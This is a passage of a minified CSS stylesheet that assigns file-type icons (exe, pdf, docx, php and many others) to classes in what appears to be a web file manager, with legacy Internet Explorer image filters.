\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none 